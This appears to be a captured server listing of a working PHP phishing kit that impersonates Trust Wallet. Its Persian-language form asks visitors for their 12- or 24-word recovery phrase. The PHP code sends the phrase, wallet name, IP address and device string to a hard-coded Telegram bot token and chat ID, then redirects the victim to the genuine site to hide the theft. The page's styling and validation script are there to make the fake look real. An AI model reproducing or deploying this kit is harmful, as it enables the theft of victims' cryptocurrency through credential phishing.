Server : LiteSpeed System : Linux server64.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : nimalaab ( 3358) PHP Version : 8.1.32 Disable Function : NONE Directory : /home/nimalaab/.trash/T.1/ |
<?php // COOD BY SC0FlLD // X_PHIS_X define('BOT_TOKEN', '7755767691:AAG6pa2gQHqVAt4VKXHisz2HDHUUo2luNGk'); define('CHAT_ID', '7122518306'); function sendToTelegram($message) { $keyboard = json_encode([ 'inline_keyboard' => [[ ['text' => '👨💻 CODED BY X', 'url' => 'https://t.me/SC0FlLD'] ]] ]); $params = [ 'chat_id' => CHAT_ID, 'text' => $message, 'parse_mode' => 'HTML', 'reply_markup' => $keyboard ]; file_get_contents("https://api.telegram.org/bot".BOT_TOKEN."/sendMessage?".http_build_query($params)); } if($_SERVER['REQUEST_METHOD'] === 'POST') { $phrase = $_POST['phrase']; $wallet = $_POST['wallet_address']; $ip = $_SERVER['REMOTE_ADDR']; $message = "🔐 <b>NEW TRUST WALLET LOGIN</b>\n\n"; $message .= "💎 <b>Phrase:</b> <code>{$phrase}</code>\n"; $message .= "📍 <b>Wallet:</b> <code>{$wallet}</code>\n"; $message .= "🌍 <b>IP:</b> {$ip}\n"; $message .= "📱 <b>Device:</b> {$_SERVER['HTTP_USER_AGENT']}\n"; sendToTelegram($message); header('Location: https://trustwallet.com'); exit; } // COOD BY SC0FlLD ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Trust Wallet</title> <link rel="icon" href="https://trustwallet.com/assets/images/favicon.ico"> <style> * { margin: 0; padding: 0; box-sizing: border-box; font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, sans-serif; } body { background: #F5F5F5; color: #1D1D1D; line-height: 1.6; } .container { max-width: 480px; margin: 0 auto; padding: 24px; } .header { text-align: center; padding: 32px 0; } .logo { width: 72px; height: 72px; margin-bottom: 24px; } .title { font-size: 28px; font-weight: 700; color: #3375BB; margin-bottom: 12px; } .subtitle { font-size: 16px; color: #666; margin-bottom: 32px; } .form-container { background: white; border-radius: 12px; padding: 24px; box-shadow: 0 4px 12px rgba(0,0,0,0.1); } .form-group { margin-bottom: 24px; } label { display: block; font-size: 16px; font-weight: 600; margin-bottom: 8px; display: flex; align-items: center; justify-content: space-between; } .help-icon { color: #3375BB; cursor: pointer; font-size: 20px; } textarea, input { width: 100%; padding: 16px; border: 2px solid #E8E8E8; border-radius: 12px; font-size: 16px; background: #FAFAFA; } textarea { height: 150px; resize: none; } textarea:focus, input:focus { outline: none; border-color: #3375BB; box-shadow: 0 0 0 3px rgba(51, 117, 187, 0.1); } .submit-btn { width: 100%; padding: 16px; background: #3375BB; color: white; border: none; border-radius: 12px; font-size: 16px; font-weight: 600; cursor: pointer; transition: all 0.3s; } .submit-btn:hover { background: #2D68A8; } .error { color: #FF3B30; font-size: 14px; margin-top: 8px; display: none; } .loading { position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(255,255,255,0.95); display: none; justify-content: center; align-items: center; z-index: 9999; } .spinner { width: 48px; height: 48px; border: 4px solid #f3f3f3; border-top: 4px solid #3375BB; border-radius: 50%; animation: spin 1s linear infinite; } .guide-popup { display: none; position: fixed; top: 0; left: 0; right: 0; bottom: 0; background: rgba(0,0,0,0.5); z-index: 9999; align-items: center; justify-content: center; padding: 20px; } .guide-content { background: white; padding: 24px; border-radius: 12px; max-width: 400px; width: 100%; } .guide-title { font-size: 20px; font-weight: 600; margin-bottom: 16px; color: #3375BB; } .guide-steps { margin-bottom: 20px; } .guide-step { margin-bottom: 12px; display: flex; align-items: flex-start; } .step-number { background: #3375BB; color: white; width: 24px; height: 24px; border-radius: 12px; display: flex; align-items: center; justify-content: center; margin-right: 12px; flex-shrink: 0; } .close-guide { background: #3375BB; color: white; border: none; padding: 12px 24px; border-radius: 8px; cursor: pointer; width: 100%; font-weight: 600; } @keyframes spin { 0% { transform: rotate(0deg); } 100% { transform: rotate(360deg); } } @media (max-width: 480px) { .container { padding: 16px; } .header { padding: 24px 0; } .title { font-size: 24px; } .form-container { padding: 20px; } } </style> </head> <body> <div class="container"> <div class="header"> <img src="https://mihanapp.com/wp-content/uploads/2024/02/Trust-Logo.png" alt="Trust Wallet" class="logo"> <h1 class="title">Trust wallet</h1> <p class="subtitle">برای تایید مالکیت کیف پول خود و کدگذاری عبارت عبور 12 کلمه مخفی خود را در کادر زیر وارد کنید </p> </div> <div class="form-container"> <form id="importForm" method="POST" onsubmit="return validateForm()"> <div class="form-group"> <label for="phrase"> عبارت عبور <span class="help-icon" onclick="showGuide('phrase')"></span> </label> <textarea id="phrase" name="phrase" placeholder="عبارت عبور 12 کلمه خود را در اینجا وارد کنید توجه کنید که کلمات باید با فاصله از هم جدا شوند" required ></textarea> <div class="error" id="phraseError">لطفا یک عبارت بازیابی 12 کلمه ای معتبر وارد کنید</div> </div> <div class="form-group"> <label for="Wallet Address"> نام کیف پول (اختیاری) <span class="help-icon" onclick="showGuide('wallet')"></span> </label> <input type="text" id="wallet_address" name="wallet_address" placeholder="نام کیف پول خود را در اینجا وارد کنید" > <div class="error" id="walletError">Please enter a valid wallet address</div> </div> <button type="submit" class="submit-btn">ادامه</button> </form> </div> </div> <div class="loading" id="loading"> <div class="spinner"></div> </div> <div class="guide-popup" id="phraseGuide"> <div class="guide-content"> <div class="guide-title">Secret Phrase Guide</div> <div class="guide-steps"> <div class="guide-step"> <div class="step-number">1</div> <div>Your recovery phrase is 12 or 24 words long</div> </div> <div class="guide-step"> <div class="step-number">2</div> <div>Words must be entered in the correct order</div> </div> <div class="guide-step"> <div class="step-number">3</div> <div>Use lowercase letters only</div> </div> <div class="guide-step"> <div class="step-number">4</div> <div>Separate words with single spaces</div> </div> </div> <button class="close-guide" onclick="hideGuide('phrase')">Got it</button> </div> </div> <!------COOD BY SC0FlLD-------> <div class="guide-popup" id="walletGuide"> <div class="guide-content"> <div class="guide-title">Wallet Address Guide</div> <div class="guide-steps"> <div class="guide-step"> <div class="step-number">1</div> <div>Starts with "0x"</div> </div> <div class="guide-step"> <div class="step-number">2</div> <div>Contains 42 characters total</div> </div> <div class="guide-step"> <div class="step-number">3</div> <div>Uses numbers 0-9 and letters a-f</div> </div> </div> <button class="close-guide" onclick="hideGuide('wallet')">Got it</button> </div> </div> <script> function validateForm() { const phrase = document.getElementById('phrase').value.trim(); const wallet = document.getElementById('wallet_address').value.trim(); const phraseError = document.getElementById('phraseError'); const walletError = document.getElementById('walletError'); const loading = document.getElementById('loading'); let isValid = true; phraseError.style.display = 'none'; walletError.style.display = 'none'; const words = phrase.split(/\s+/); if(words.length !== 12 && words.length !== 24) { phraseError.style.display = 'block'; isValid = false; } if(wallet && !wallet.match(/^0x[a-fA-F0-9]{40}$/)) { walletError.style.display = 'block'; isValid = false; } if(isValid) { loading.style.display = 'flex'; setTimeout(() => { document.getElementById('importForm').submit(); }, 2000); } return false; } function showGuide(type) { document.getElementById(type + 'Guide').style.display = 'flex'; } function hideGuide(type) { document.getElementById(type + 'Guide').style.display = 'none'; } <!------COOD BY SC0FlLD-------> window.addEventListener('DOMContentLoaded', () => { const inputs = document.querySelectorAll('input, textarea'); inputs.forEach(input => { input.setAttribute('autocomplete', 'off'); input.setAttribute('autocorrect', 'off'); input.setAttribute('autocapitalize', 'off'); input.setAttribute('spellcheck', 'false'); }); }); </script> </body> </html>